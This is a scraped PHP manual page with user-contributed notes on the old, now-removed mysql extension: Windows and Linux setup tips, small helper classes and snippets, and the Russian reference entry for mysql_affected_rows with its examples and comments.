I am wanting to increment usernames which are to be alphabetic characters A-Z or a-z and if someone uses "abc" it will automatically be given "abc1" and the next applicant to apply for that same username will automatically be given "abc2", the next "abc3" and so on. If I enter the following into MySQL;

SELECT username FROM users WHERE username REGEXP 'abc[0-9*]';

the result is

abc1
abc2
abc3

I have been given the following script from another forum but it does not work;

<?php
$username = 'abc';
$query = "SELECT username FROM users WHERE username LIKE '$username%'";
$res = mysql_query($query);
while($row = mysql_fetch_assoc($res)) {
   $n = str_replace($username, '', $row['username']);
   if ($old_n+1!=$n) {
      $new_user = $username . ($old_n+1);
      break;
   }
}
?>

In addition to the script not working the "LIKE" function would not be suitable because if a username was applied as "blue" it would pick up usernames "blue1" and "bluebird1" therefore it appears as if "REGEXP '$username[0-9*]' is the only or correct option.

I have tried the REGEXP option in association with the balance of the code but it appears as if PHP will not interact with the "[" and "]" in the following;

$query = "SELECT username FROM users WHERE username REGEXP '$username[0-9*]'";
SID TRIVEDI 07-Nov-2007 04:33
<?php
/*
MySQL (Community) Server Installation on 32-bit Windows XP running Apache

On Windows, the recommended way to run MySQL is to install it as a Windows service, whereby MySQL starts and stops automatically when Windows starts and stops. A MySQL server installed as a service can also be controlled from the command line commands, or with the graphical Services utility like phpMyAdmin.

PHP ---> MySQL CONNECTORS (php_mysql.dll and php_mysqli.dll as extensions)
MySQL provides the mysql and mysqli extensions for the Windows operating system on http://dev.mysql.com/downloads/connector/php/ for MySQL version 4.1.16 and higher, MySQL 5.0.18, and MySQL 5.1. As with enabling any PHP extension in php.ini (such as php_mysql.dll), the PHP directive extension_dir should be set to the directory where the PHP extensions are located.

MySQL is no longer enabled by default, so the php_mysql.dll DLL must be enabled inside of php.ini. Also, PHP needs access to the MySQL client library. A file named libmysql.dll is included in the Windows PHP distribution and in order for PHP to talk to MySQL this file needs to be available to the Windows systems PATH.

Following PHP Script is useful to test PHP connection with MySQL.
*/

//$connect = mysql_connect("Your Host Name", "MySQL root directory", 'MySQL password, if any');
//$connect = mysql_connect("Host Name or Address - 127.0.0.1", "root", 'password');
$connect = mysql_connect("localhost", "root", 'password');
if ($connect){
echo "Congratulations!\n<br>";
echo "Successfully connected to MySQL database server.\n<br>";
}else{
$error = mysql_error();
echo "Could not connect to the database. Error = $error.\n<br>";
exit();
}

// Closing connection
$close = mysql_close($connect);
if ($close){
echo "\n<br>";
echo "Now closing the connection...\n<br>";
echo "MySQL connection closed successfully as well.\n<br>";
}else{
echo "There's a problem in closing MySQL connection.\n<br>";
}
exit();
?>
rad14701 at yahoo dot com 14-Oct-2007 12:01
@Amanda 12-Oct-2007 09:58

I almost had to ask myself if this was a real question... If the MySQL server rejects the connection attempt then, yes, MySQL would be able to send back an error to PHP... And if PHP can't access the target MySQL server at all then it is also smart enough to issue the appropriate error all by itself...
arnold_dba 13-Oct-2007 06:36
Also, to secure MySQL data and to be able to comply with PCI standards, you should encrypt the data. There are many ways to do it. For hackers, you can use dm-crypt (www.saout.de/misc/dm-crypt) tool. It is basically used to encrypt the whole partition. If you want a sophisticated solution go with Security-GENERAL for MySQL from packet general (www.packetgeneral.com)
On windows, you can use disk encryption feature provided by windows itself or tool like trucrypt (www.truecrypt.org)
DuiMDog 02-Sep-2007 03:19
On 11-Apr-2007 admin at mihalism dot com posted an 'easy to use MySql-class'.
In my opinion there is a bug in the get_affected_rows-function. It refers to query-id, but  it should refer to connect-id instead.

The corrected function should be:
    function get_affected_rows($connect_id = ""){
            if($connect_id == NULL){
                $return = mysql_affected_rows($this->connect_id);
            }else{
                $return = mysql_affected_rows($connect_id);
            }
            if(!$return){
                $this->error();
            }else{
                return $return;
            }
        }
atk2 at hotmail dot com 14-Jun-2007 08:56
After finally getting IIS, PHP, and MySQL on a new Windows XP machine, I decided to write the steps I took so you can see how it was done: http://www.atksolutions.com/articles/install_php_mysql_iis.html

Hope this helps.
Nobody Special 14-Apr-2007 11:20
This PHP5-only class is used so that $db isn't passed. Kudos to arjen at queek dot nl for example.

<?php
class SQL {
 private $db;
 public function __construct($host="localhost",$user="root",$pass="",$db="") {
  $this->db = @mysql_connect($host, $user, $pass);
  if(!$this->db) die(@mysql_error());
  if($db != "") $dbs = @mysql_select_db($db);
  if(!$dbs) die(@mysql_error());
 }
 public function __destruct() {
  @mysql_close($db);
 }
 public function __call($function, $arguments) {
  array_push($arguments, $this->db);
  $return = call_user_func_array("mysql_".$function, $arguments);
  if(!$return) die(@mysql_error());
 }
}

$db = new SQL();
$query = $db->query("SELECT * FROM this_table WHERE my_variable='1'");
$fetch = $db->fetch_array($query);
print_r($fetch);
?>
mega-squall at caramail dot com 13-Apr-2007 02:35
For Windows users, please note:

If apache is installed as a service, and you change PATH variable so it can reach libmysql.dll, you will need to reboot your machine in order to have changes applied.
admin at mihalism dot com 11-Apr-2007 07:48
Heres a easy to use MySQL class for any website

<?php
    class mysql_db{
        //+======================================================+
        function sql_connect($sqlserver, $sqluser, $sqlpassword, $database){
            $this->connect_id = mysql_connect($sqlserver, $sqluser, $sqlpassword);
            if($this->connect_id){
                if (mysql_select_db($database)){
                    return $this->connect_id;
                }else{
                    return $this->error();
                }
            }else{
                return $this->error();
            }
        }
        //+======================================================+
        function error(){
            if(mysql_error() != ''){
                echo '<b>MySQL Error</b>: '.mysql_error().'<br/>';
            }
        }
        //+======================================================+
        function query($query){
            if ($query != NULL){
                $this->query_result = mysql_query($query, $this->connect_id);
                if(!$this->query_result){
                    return $this->error();
                }else{
                    return $this->query_result;
                }
            }else{
                return '<b>MySQL Error</b>: Empty Query!';
            }
        }
        //+======================================================+
        function get_num_rows($query_id = ""){
            if($query_id == NULL){
                $return = mysql_num_rows($this->query_result);
            }else{
                $return = mysql_num_rows($query_id);
            }
            if(!$return){
                $this->error();
            }else{
                return $return;
            }
        }
        //+======================================================+
        function fetch_row($query_id = ""){
            if($query_id == NULL){
                $return = mysql_fetch_array($this->query_result);
            }else{
                $return = mysql_fetch_array($query_id);
            }
            if(!$return){
                $this->error();
            }else{
                return $return;
            }
        }
        //+======================================================+
        function get_affected_rows($query_id = ""){
            if($query_id == NULL){
                $return = mysql_affected_rows($this->query_result);
            }else{
                $return = mysql_affected_rows($query_id);
            }
            if(!$return){
                $this->error();
            }else{
                return $return;
            }
        }
        //+======================================================+
        function sql_close(){
            if($this->connect_id){
                return mysql_close($this->connect_id);
            }
        }
        //+======================================================+
    }

    /* Example */

    $DB = new mysql_db();
    $DB->sql_connect('sql_host', 'sql_user', 'sql_password', 'sql_database_name');
    $DB->query("SELECT * FROM `members`");
    $DB->sql_close();
?>
davesteinb at yahoo dot com 13-Aug-2006 03:32
I made this function to reduce DB calls. You can store Mysql results in a session var and sort the results on any column. Might work nice in an AJAX app.

<?

function mysql_sort($results, $sort_field, $dir="ASC") {
    $temp_array = array();
    $i=0;
    foreach ($results as $res) {
        $temp_array[$i] = $res[$sort_field];
        $i++;
    }
    if ($dir=="ASC") {
        asort($temp_array);
    } else {
        arsort($temp_array);
    }

    $new_results = array();
    $i=0;
    foreach($temp_array as $k => $v) {
        $new_results[$i] = $results[$k];
        $i++;
    }
    ksort($new_results);
    return $new_results;

}

//use
if (count($_SESSION["res"])==0) {
    $_SESSION["res"] = [GET DATABASE RESULTS HOWEVER YOU MAY]
}

$_SESSION["res"] = mysql_sort($_SESSION["res"], $_REQUEST["sort"], $_REQUEST["dir"]);

?>
<table>
<tr>
  <td><a href="page.php?sort=f_name&dir=<? echo ($_REQUEST["dir"]=="ASC") ? "DESC":"ASC"; ?>">First</a></td>
  <td><a href="page.php?sort=l_name&dir=<? echo ($_REQUEST["dir"]=="ASC") ? "DESC":"ASC"; ?>">Last</a></td>
</tr>

<? foreach ($_SESSION["res"] as $r) {?>
<tr>
  <td><?=$r["f_name"]?></td>
  <td><?=$r["l_name"]?></td>
</tr>
<? } ?>
</table>
richard at NOSPAM dot dimax dot com 19-Jul-2006 04:58
In response to Conrad Decker's post below:

If your tables contain foreign key constraints you will not be able to properly restore from a datafile created by mysqldump.

mysqldump dumps table data in alphabetical order, not in the logical order required by the foreign key constraints.
vbolshov at rbc dot ru 09-Jul-2006 11:27
I have recently ran into a problem with configuring php extensions related to mysql (namely, mysql and pdo_mysql). Later I've discovered that it wasn't a PHP problem but that of MySQL - libmysqlclient doesn't ship with binary downloads. I've built MySQL from sources and both extensions then compiled successfully.
sb at stephenbrooks dot org 01-May-2006 01:43
I'm in the process of changing web hosts and my previous host provided a "dump" of the database in the form of a sequence of SQL requests that (I assume) have to be executed in order to rebuild the database on another system.  It was generated using "MySQL dump 9.11".  Queries are finished by a semicolon and linefeed, while comment-lines begin with a double hyphen.  The script below opens a connection to an SQL server and loads a dump file $file of this format into the database $dest_db.

function load_db_dump($file,$sqlserver,$user,$pass,$dest_db)
{
  $sql=mysql_connect($sqlserver,$user,$pass);
  mysql_select_db($dest_db);
  $a=file($file);
  foreach ($a as $n => $l) if (substr($l,0,2)=='--') unset($a[$n]);
  $a=explode(";\n",implode("\n",$a));
  unset($a[count($a)-1]);
  foreach ($a as $q) if ($q)
    if (!mysql_query($q)) {echo "Fail on '$q'"; mysql_close($sql); return 0;}
  mysql_close($sql);
  return 1;
}

This may not be watertight if the ";\n" sequence appears inside queries, but I hope it helps others who are in posession of such dumps.
yp 15-Mar-2006 02:08
when using Fedora Core linux Mysql rpm installation.
Configure as following to load the mysql header files.
./configure --with-mysql=/usr/
Remember to do make clean to remove old configurations before compile
php comments of fuzzyworm co., uk 17-Feb-2006 03:13
If you want to get PHP working nicely with MySQL, even with Apache, under Windows based systems, try XAMPP, from Apache Friends. It saves messing about with config files, which is the only major problem with trying to get the three to work together under windows.

http://www.apachefriends.org/en/xampp-windows.html
Joe Greklek 15-Dec-2005 01:15
I've seen alot of newbies getting frustrated over the extenstions not being installed initially, so heres a quick tut for Windows.

It's ok to use the php5 installer. Just be sure to also grab the .zip or "manual" version of php5.

Install it like any other app. It's pretty straight forward. Don't forget to set the securities mentioned in the last message box at the end of the install. Next, If you installed php to c:\php then you will need to add this to your PATH environment variable. This is a very important step.

Now open up the .zip manual version of php5 and extract the ext folder, and "libmysql.dll" to "c:\php\".

You *MUST* set your security permissions on libmysql.dll and the ext folder to READ/READ&EXECUTE for IUSR_"MACHINE_NAME". like my machine is called master<acct = IUSR_MASTER>. If you don't do this you will recieve an ******.dll - Access Denied. type message.

Next edit your php.ini file usually located in c:\windows\.
Find the line for    extension_dir    variable and make it say
extension_dir = "c:\php\ext\"

Then scroll down a little bit and find the lines that say
;extension=php_mbstring.dll
;extension=php_bz2.dll
;extension=php_curl.dll
;extension=php_dba.dll
;extension=php_dbase.dll
;extension=php_exif.dll
;extension=php_fdf.dll
;extension=php_filepro.dll
;extension=php_gd2.dll
;extension=php_gettext.dll
;extension=php_ifx.dll

just remove the semicolin for each extension you would like loaded. Such as
extention=php_mysql.dll
and so on.

Now just reboot and all should be well. Query away. you basically only need to reboot to update the PATH environment variable. Hope this helps at least 1 person.:)
nick smith 19-Sep-2005 12:07
i'm fairly new to this but have just managed to set up (on windows xp) apache 2.0.54 with php 5.0.4 and mySQL 4.1.13, also phpMyAdmin 2.6.4 having had exactly the problems reported by so many others. i wasnt actually aware of mySQL not being loaded in php until i tried to use phpmyadmin and it told me to check my php/mysql configuration.

basically i just did everything that is mentioned by others (setting extension_dir to c:\php\ext ( not c:\php\ext\ ), uncommenting extension=php_mysql.dll from php.ini and putting c:\php into my PATH) but i was still getting the infuriating message when trying to start apache that php_mysql.dll could not be found.

i restarted my machine and it worked! It seems i had to restart windows after editing my PATH. i didnt bother restarting until it was the last resort because on xp i have NEVER had to do this before - changes to System Variables always took effect immediately. I could understand this on, say, windows 98 where you put the addition to your PATH into your autoexec.bat but why i had to do this with xp is a mystery.

Anyway, give it a go, it might save you tearing out prescious hair!

N.
avis_del at yahoo dot com 01-Sep-2005 01:14
I aggree with j at jonathany.com

PHP 5.04 to MySQL,
php_mysql.dll will not found on windows installer (.msi)
just extract from .zip file (can download).
It works.

1. cgi.force_redirect = 0
2. extension_dir = "c:\php\ext"
3. extension=php_mysql.dll

untill on phpinfo.php show

MySQL Support enabled
Active Persistent Links  0
Active Links  0
Client API version  4.1.12
claude(at)claude(dot)nl 25-Aug-2005 07:23
A note on resources

When a resource (e.g. a link identifier) runs out of scope, it is deleted and the associated computer resources (e.g. the tcp link to the database) will be terminated as well. So far so good!
However, in the following code the tcp mysql link persists until the end of execution:
<?php
$conn = mysql_connect('hostname', 'username','password');
$conn = null;
sleep (30);
?>
This is because the internally the link-identifier is being saved, so that subsequent mysql functions will work. There seems to be no way to delete this internal reference.
If you were, however, to open 2 connections, the oldest one will be deleted automatically (so the connection to hostname will terminate at the $conn=null statement, the connection to hostname2 will exist till the end of the script).
<?php
$conn = mysql_connect('hostname', 'username','password');
$conn2 = mysql_connect('hostname2', 'username','password');
$conn = null;
$conn2 = null;
sleep (30);
?>
arjen at mysql dot com 04-Aug-2005 01:26
John Coggeshall wrote a PHP5 ext/mysqli compatibility script for applications that still use the old ext/mysql functions. This prevents the hassle of trying to have both the mysql and mysqli extensions loaded in PHP5, which can be tricky.

The script is at:
http://www.coggeshall.org/oss/mysql2i/
allan666 at NOSPAM dot gmail dot com 20-Jul-2005 03:37
[Editor's Note: In MySQL v5.0+, you can use the INFORMATION_SCHEMA tables to retrieve information on tables, views, databases and so on. --zak@php.net]

Here is a small function to parse a mysql creation table DDL. The function takes a string with the SQL code to create a table and returns the table name, table fields, table key fields and fields type, all in arrays (except by the name, obviously). The function requires that the primary key be named "id" and the foreign keys named "id...". All foreign key types are suposed to be int (or its variations, bigint, etc...). All those restrictions are easily modified to others needs.

Here is a example of a DDL code.

CREATE TABLE `telefones` (
  `id` int(11) NOT NULL auto_increment,
  `id_tipo_telefone` int(11) NOT NULL default '0',
  `numero` varchar(15) NOT NULL default '',
  `id_pessoa` int(11) NOT NULL default '0',
  PRIMARY KEY  (`id`),
  KEY `id_tipo_telefone` (`id_tipo_telefone`),
  KEY `id_pessoa` (`id_pessoa`),
  CONSTRAINT `0_775` FOREIGN KEY (`id_tipo_telefone`) REFERENCES `tipos_telefone` (`id`),
  CONSTRAINT `0_776` FOREIGN KEY (`id_pessoa`) REFERENCES `pessoas` (`id`)
) TYPE=InnoDB

that returns

$tbname = "telefones"
$fields = array("numero");
$kfields = array("id_tipo_telefone","id_pessoa");
$tipos = array("varchar");

Hope it helps...

<?php
function parseQuery($Q, &$tbname, &$fields, &$kfields, &$tipos) {

/** rules to a corect parse:
 *
 *     1 - primary key must be named "id"
 *     2 - foreign key must be named "id..." eg.: id_field
 *     3 - lowercase is recomended
 */

    $Q = str_replace(array(chr(10),chr(13))," ",$Q);
    $Q = str_replace(array("'","`")," ",$Q);

    preg_match("/([^(]*)\((.*)\)(.*)/",$Q,$A);

    $part1 = $A[1];
    $part2 = $A[2];
    $part3 = $A[3];

    preg_match("/(.*) ([a-zA-Z_]+)/",$part1,$A);

    $tbname = strtolower($A[2]);

    $temp = split(",",$part2);
    foreach ($temp as $t) {
        preg_match("/ *([a-zA-Z_]+) +([a-zA-Z_]+)(.*)/",$t,$A);
        $pcampo = strtolower($A[1]);
        $ptipo = strtolower($A[2]);
        if (!preg_match("/$pcampo/","primary key constraint id unique foreign") )  {
            if ( ($pcampo[0] == "i") && ($pcampo[1] == "d") )
                $kfields[] = $pcampo;
            else {
                $fields[] = $pcampo;
                $tipos[] = $ptipo;
            }
        }
    }
}
?>
Microsoul V3 04-Jun-2005 03:47
I use IIS 6, PHP 5.04, Windows Server 2003 and MySQL 4.1.11. and here is what I was able to figure out.
To get MySQL and PHP to talk to each other, in the php.cfg, dont forget to turn on the tag
cgi.force_redirect = 0, and make sure you set it at 0 (it is default at 1. just delete the semi-colon from in front of it to activate it in the code) Then the phpinfo will say its reading the cfg from your PHP install directory instead of your WINDOWS root. Then your phpinfo will show the MySQL entry that some people may be having a hard time with. No registry settings or copying of anything is needed. Also follow the rest of the excellent help from the user comments. Here's what I did, to make it simple:
I made a folder in the folder tree just above program files (explore your computer) and named it PHP. I extracted the .zip php version into it (not the auto install version). I edited the php.ini-recommended, renamed it to just php, added my sql username, database name, etc.( you really gotta look closely at the cfg file and make sure you dont overlook something). Turned on the extension=php_mysql.dll (just delete the semi-colon thats in front of it). Added the php folder to the PATH (instructions on how to do this are pretty simple, and documented above). I also made the ext folder available to the PATH, but Im not sure if it's really necessary. The user comments are what really helped me, so I thought I would return the favor, and try to expand on this topic a little bit.
noel at nettensity dot com 28-May-2005 10:04
Enabling MySQL with Windows Server 2003/IIS 6.0:
Find your php.ini file first, check phpinfo() to see where php is currently looking for php.ini. (i.e. Using the Windows installer for PHP 5.0.4, the php.ini file was placed in the C:\Windows dir.) I recommend, however, that you don't use the installer - go with full manual install.

Set the following in php.ini:
display_errors = on
error_reporting = E_ALL
This will make sure that you'll see any errors that arise during configuration. MAKE SURE TO CORRECT THESE WHEN YOU ARE DONE PLAYING WITH PHP.INI! Do not leave these settings like this on a production machine.

In php.ini set the following:
extension_dir = "pathtoextensions (ususally [yourpathtophp]\ext)"
extension=php_mysql.dll (make sure this is un-commented if its already in your php.ini)

In IIS, open Web Service Extensions, click "Add a new Web service extension..."
Type-in PHP for the extension name
Under required files:
Add  [yourpathtophp]\php5isapi.dll
Add  [yourpathtophp]\php5ts.dll
Click 'Apply' then click 'OK'

Create web sites like you normally would, but make sure they have executable permissions, not just script access. Under the "Home Directory" tab, click 'Configuration'. Scroll down the list at the top and see if you can find PHP. If you do, make sure the path to the executable for PHP is correct. If you don't find PHP in the list, click 'Add...', then browse to the correct executable, [yourpathtophp]\php5isapi.dll, and click OK. In the extension field, enter 'PHP'. Verbs should already be set to 'All verbs', leave it like that.

Create a test page with this code:
<? echo(phpinfo()); ?>
call it test.php, and place this file into the web site you just created. Browse to the page, with firefox preferably ;), and make sure that you have a MySql section with some MySql info in there. If not, then your paths are possibly screwed up, or you're still not editing the correct php.ini (again, look at the location that phpinfo() shows you, and just edit it there if you have to, then move it afterwards and re-config).

Hope this helps!
medic at setiherbipolis dot de 15-May-2005 08:42
Client does not support authentication protocol requested by server; consider upgrading MySQL client

means that you're using an old version of MySQL Client ( possibly not mysqli)

Authentication protocol for MySQL has changed with version 4.1.

To get a hint at which mysql-client version you're using try phpinfo();
05-Mar-2005 11:01
If you are installing PHP5 on Windows 2003 server (AKA Win 2k3) and need MySQL to work using the either the php_mysql.dll or php_mysqli.dll or both of them at the same time, and MySQl isn't showing up in phpinfo, then your php.ini is probably not loading.  In the direction in the PHP 5 zip file, they will tell you to add your PHP install directory to your windows path.  This should tell php where to load its php.ini from but it doesn't.  If you want to get this to work, you don't have to copy any DLL's anywhere like everyone suggests.  All you have to do is add the folling regsitry key to windows:

[HKEY_LOCAL_MACHINE\SOFTWARE\PHP]
"IniFilePath"="C:\\PHP"

simply copy the above 2 lines of code into a text file and save the file as php_ini_path.reg

After you save the file it will look like a registry file.  Simply double click on it.

It will make it so PHP will look for your php.ini in C:\PHP.  I would assume you can edit this if you install php into a different location, but I haven't tried that.

After running the reg file, make sure your php.ini is in your PHP dir and make sure all the appropriate things are set.  This should get you up and running.  Make sure you also follow all the steps on how to make it work in IIS.  This is just an addition to the direction.
Protik Mukherjee 03-Mar-2005 09:34
Fedora mysql problems!!
In Fedora 3 the php mysql module does not come with the default installation. To install it use $>yum install php_mysql
If u dont do this you will get errors with mysql functions like mysql_connect()

Hope this helps!
nleippe at integr8ted dot com 12-Oct-2004 03:22
trace_mode breaks SQL_CALC_FOUND_ROWS.
This is because it emits an EXPLAIN <query> before sending the <query> by itself, thus the subsequent SELECT FOUND_ROWS() is no longer the next consecutive query, and the result is zero.
This was true for me for at least MySQL 4.0.21 and 4.1.5gamma.
(PHP 4.3.9)
aidan at php dot net 15-Aug-2004 05:59
If you want to replicate the output of `mysql --html`, printing your results in a HTML table, see this function:

http://aidanlister.com/repos/v/function.mysql_draw_table.php
irn-bru at gmx dot de 27-May-2004 05:27
Note, that the sql.safe_mode configuration setting does effect all mysql_* functions. This has nothing to to with the php safe mode, check the [SQL] section in php.ini.

I found out, that if you set sql.safe_mode = On, mysql_connect will ignore provided username and passwort and makes use of the script owner instead (checked on debian).

Brian
soren at byu dot edu 14-Mar-2003 01:23
Let's say that you want to generate a MySQL password hash from a plain text password.  Normally, you would just submit the MySQL query "SELECT PASSWORD('password')", but if for some reason you can't access to MySQL database directly, then you can use the following function (translated right out of the MySQL source code):

<?php
function mysql_password($passStr) {
        $nr=0x50305735;
        $nr2=0x12345671;
        $add=7;
        $charArr = preg_split("//", $passStr);

        foreach ($charArr as $char) {
                if (($char == '') || ($char == ' ') || ($char == '\t')) continue;
                $charVal = ord($char);
                  $nr ^= ((($nr & 63) + $add) * $charVal) + ($nr << 8);
                $nr2 += ($nr2 << 8) ^ $nr;
                  $add += $charVal;
        }

        return sprintf("%08x%08x", ($nr & 0x7fffffff), ($nr2 & 0x7fffffff));
}
?>

example:

<? print mysql_password("hello"); ?>

outputs:

70de51425df9d787

Which is the same result you get if you do "SELECT PASSWORD('hello')" directly in MySQL.  Hopefully you'll never be in a situation where you have to use this, but if you need it (like I did), it's here.
mijnpc at xs4all dot nl 20-Nov-2002 02:33
If you have a Windows machine running a webserver with PHP you don't need to install MySQL server to locally test scripts, if you are granted to establish a Secure Telnet connection (port 22) to the remote webserver.

To do this you need a Secure Telnet client, which supports port-forwarding.
Before you establish a connection, define the port-forward.
Forward local port 3306 to [name or ip of remote server]:3306
Make sure that local ports accept connections from other hosts
Save this session

Connect to remote server with username and password
Minimize the shell and that's it...

You can use the same username (and password) as if you were working on the remote server !
E.g. : $link = mysql_connect("localhost", "root", "") or die("no way jose");

You may get a shell-timeout after xx minutes depending on your remote server, just reconnect or press enter in the shell once in a while...

An example of a superb freeware Secure Telnet client is Putty : Putty : http://www.chiark.greenend.org.uk/~sgtatham/putty/

This 'discovery' really has saved me a lot of time because I don't have to upload the scripts to the remote server time and time again, pressing [save] is enough, heh (-:
skelley at diff dot nl 25-Sep-2001 02:11
Hi, here's a nice little trick to select records in random order from a table in a MySQL database prior to version 3.23

SELECT *, (ItemID/ItemID)*RAND() AS MyRandom FROM Items ORDER BY MyRandom

[Editors note: And just "SELECT * FROM foo ORDER BY RAND()" after 3.23]
mbabcock-php at fibrespeed dot net 28-Jul-2001 07:41
Since there aren't functions to start and end/rollback transactions, you'll have to use mysql_query("BEGIN"), mysql_query("COMMIT") and mysql_query("ROLLBACK").  These will only work properly on tables that support transactions.  You may also wish to roll your own mysql_begin (etc) functions that run the above queries for you.
mw-php at ender dot com 21-Jun-2001 09:11
The mysql_fetch_[row|object|array] functions return data as type string. Owing to the very flexible nature of php variables, this is normally not relevent, but if you happen to retrieve two integers from a database, then try to compare with bitwise operators, you'll run into trouble, because (19 & 2) == 2, but ("19" & "2") == 0. To remedy this, if you use variables from a database with bitwise operators, use the settype() function to explicitly cast your variables as integers before comparing.


Возвращает число затронутых прошлой операцией рядов

  • « MySQL
  • mysql_client_encoding »
  • PHP Manual
  • MySQL
  • Возвращает число затронутых прошлой операцией рядов

mysql_affected_rows

(PHP 4, PHP 5)

mysql_affected_rows — Возвращает число затронутых прошлой операцией рядов

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_affected_rows()
  • PDOStatement::rowCount()

Описание

mysql_affected_rows(resource $link_identifier = NULL): int

Возвращает количество рядов, затронутых последним INSERT, UPDATE, REPLACE или DELETE запросом, связанным с дескриптором link_identifier.

Список параметров

link_identifier

Соединение MySQL. Если идентификатор соединения не был указан, используется последнее соединение, открытое mysql_connect(). Если такое соединение не было найдено, функция попытается создать таковое, как если бы mysql_connect() была вызвана без параметров. Если соединение не было найдено и не смогло быть создано, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Возвращает количество изменённых записей в случае успешного выполнения, и -1 в случае если последний запрос не удался.

Если последний запрос был DELETE без указания WHERE и, соответственно, таблица была очищена, функция вернёт ноль во всех версиях MySQL до 4.1.2.

При использовании UPDATE, MySQL не обновит колонки, уже содержащие новое значение. Вследствие этого, функция mysql_affected_rows() не всегда возвращает количество рядов, подошедших под условия, только количество рядов, обновлённых запросом.

Запрос REPLACE сначала удаляет запись с указанным первичным ключом, а потом вставляет новую. Данная функция возвращает количество удалённых записей вместе с количеством вставленных.

В случае использования запросов типа "INSERT ... ON DUPLICATE KEY UPDATE", возвращаемое значение будет равно 1 в случае, если была произведена вставка, или 2 при обновлении существующего ряда.

Примеры

Пример #1 Пример использования mysql_affected_rows()

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Ошибка соединения: ' . mysql_error());
}
mysql_select_db('mydb');

/* здесь функция вернёт корректное число удалённых записей */
mysql_query('DELETE FROM mytable WHERE id < 10');
printf("Удалено записей: %d\n", mysql_affected_rows());

/* если WHERE всегда возвращает false, то функция возвращает 0 */
mysql_query('DELETE FROM mytable WHERE 0');
printf("Удалено записей: %d\n", mysql_affected_rows());
?>

Результатом выполнения данного примера будет что-то подобное:

Удалено записей: 10
Удалено записей: 0

Пример #2 Пример использования mysql_affected_rows() с транзакциями

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Ошибка соединения: ' . mysql_error());
}
mysql_select_db('mydb');

/* Обновляем ряды */
mysql_query("UPDATE mytable SET used=1 WHERE id < 10");
printf ("Обновлено записей: %d\n", mysql_affected_rows());
mysql_query("COMMIT");
?>

Результатом выполнения данного примера будет что-то подобное:

Обновлено записей: 10

Примечания

Замечание: Транзакции

При использовании транзакций mysql_affected_rows() нужно вызывать после запросов INSERT, UPDATE, DELETE, но не после COMMIT.

Замечание: Запросы SELECT

Чтобы получить количество рядов, возвращённых SELECT-запросом, используйте функцию mysql_num_rows().

Замечание: Каскадные внешние ключи

mysql_affected_rows() не подсчитывает ряды, неявно изменённые ограничениями ON DELETE CASCADE и/или ON UPDATE CASCADE.

Смотрите также

  • mysql_num_rows() - Возвращает количество рядов результата запроса
  • mysql_info() - Возвращает информацию о последнем запросе

User Contributed Notes

gtisza at gmail dot com 16-Aug-2019 11:30
Note that when the CLIENT_FOUND_ROWS connection flag was used, affected_rows returns the number of rows matched by the WHERE condition of an UPDATE query, even if the query doesn't actually change those rows. I.e. for

     INSERT INTO t(id, val) VALUES (1, 'x');
     UPDATE t SET val = 'x' WHERE id = 1;

the number of affected rows will be 0 normally but 1 with CLIENT_FOUND_ROWS.
vitospericolato at gmail dot com 19-Jan-2017 11:44
calling mysql_affected_rows(null)
is not the same that calling mysql_affected_rows()

So, if you have a $link variable that could be null, you must write

if($link)
  $n=mysql_affected_rows($link);
else
  $n=mysql_affected_rows();
brian at smitherconsulting dot com 21-Nov-2016 12:31
In the case of INSERT where a row/slot had been previously deleted, making an uncollapsed hole in the table, and the record being inserted fills that empty row/slot, that is to say, the inserted data did not create a new row/slot/space, then this may explain why a zero result is returned by this function.
ahmd 12-May-2016 06:39
I was just testing  "INSERT INTO ... ON DUPLICATE KEY UPDATE" syntax, on PHP 5.3.29 and mysql_affected_rows() was returning either 2 for updated row, 1 for inserted new row, and also 0, which was not documented, evidently when nothing was inserted. I was inserting a single row.
Ome Ko 28-Jun-2011 01:10
There are no rows affected by an update with identical data.
So here is one very ugly solution for these cases:
<?
function mysql_matched_rows() {
   $_kaBoom=explode(' ',mysql_info());
   return $_kaBoom[2];
}
?>
sean at adtools dot co dot uk 09-Sep-2008 01:48
Here's a little function I've been using for a while now, pass it two parameters (action command (1 or 0 see notes)) and a sql statement.

It returns a simple line which shows the length of time taken to action the query, the status of the query (0= query not actioned, you can set this value for testing, 1=success qry executed successfully, -1= failed, there was a problem with the sql statement) the number of lines affected by that query and the sql statement itself.

I've found this invaluable when trying to tie down large amounts of updates to a table, using this you can easily see where a query was successfully executed and the number of rows are affected, or where there are problems and a statement has failed for example.

<?php
function dosql($action,$sql){
  # assuming you have setup a link to your database entitled $link
  # action = 1 run this query
  # action = 0 don't run, just return sql statement

  $start = getmtime();

  if($action==1){
    $result = mysql_query($sql);
    $affectedrows = "[".mysql_affected_rows($link)."]";
  }
  return "[".number_format((getmtime()-$start),3)."][$action]: $sql\n";
  mysql_free_result($result);
}
?>

Example output:
[0.072][1][80]: UPDATE MYTABLE SET FIELD = 1;
[0.106][1][758]: UPDATE ANOTHERTABLE SET FIELD = 2;
[0.006][-1][0]: UPDATER ANOTHERTABLE SET FIELD = 2;

The output shows:

[Timetaken][result]][lines affected]

The result will be either -1, 0 or 1, -1 means there's a problem with the sql statement, 1 means it executed correctly, 0 means it wasn't executed.
HMax 02-Jul-2007 03:21
If you use "INSERT INTO ... ON DUPLICATE KEY UPDATE" syntax, mysql_affected_rows() will return you 2 if the UPDATE was made (just as it does with the "REPLACE INTO" syntax) and 1 if the INSERT was.

So if you use one SQL request to insert several rows at a time, and some are inserted, some are just updated, you won't get the real count.
dobrys at abv dot bg 28-May-2007 02:35
I see that when try to use mysql_affected_rows() with "mysql_pconnect(...)" without link indetifier as param in "mysql_affected_rows()" the result is allways -1.
When use link identifier "mysql_affected_rows($this_sql_connection)" - everything is Fine. This is is on PHP Version 5.2.0
Hope that this was helpfull for somebody
temp02 at flexis dot com dot br 29-Jun-2005 05:39
SCENARIO
1. You're using MySQL 4.1x with foreign keys.
2. You have table t2 linked to table t1 by a CASCADE ON DELETE foreign key.
3. t2 has a UNIQUE key so that duplicate records are unacceptable.
3. You have a REPLACE query on t1 followed by an INSERT query on t2 and expect the second query to fail if there's an attempted insert of a duplicate record.

PROBLEM
You notice that the second query is not failing as you had expected even though the record being inserted is an exact duplicate of a record previously inserted.

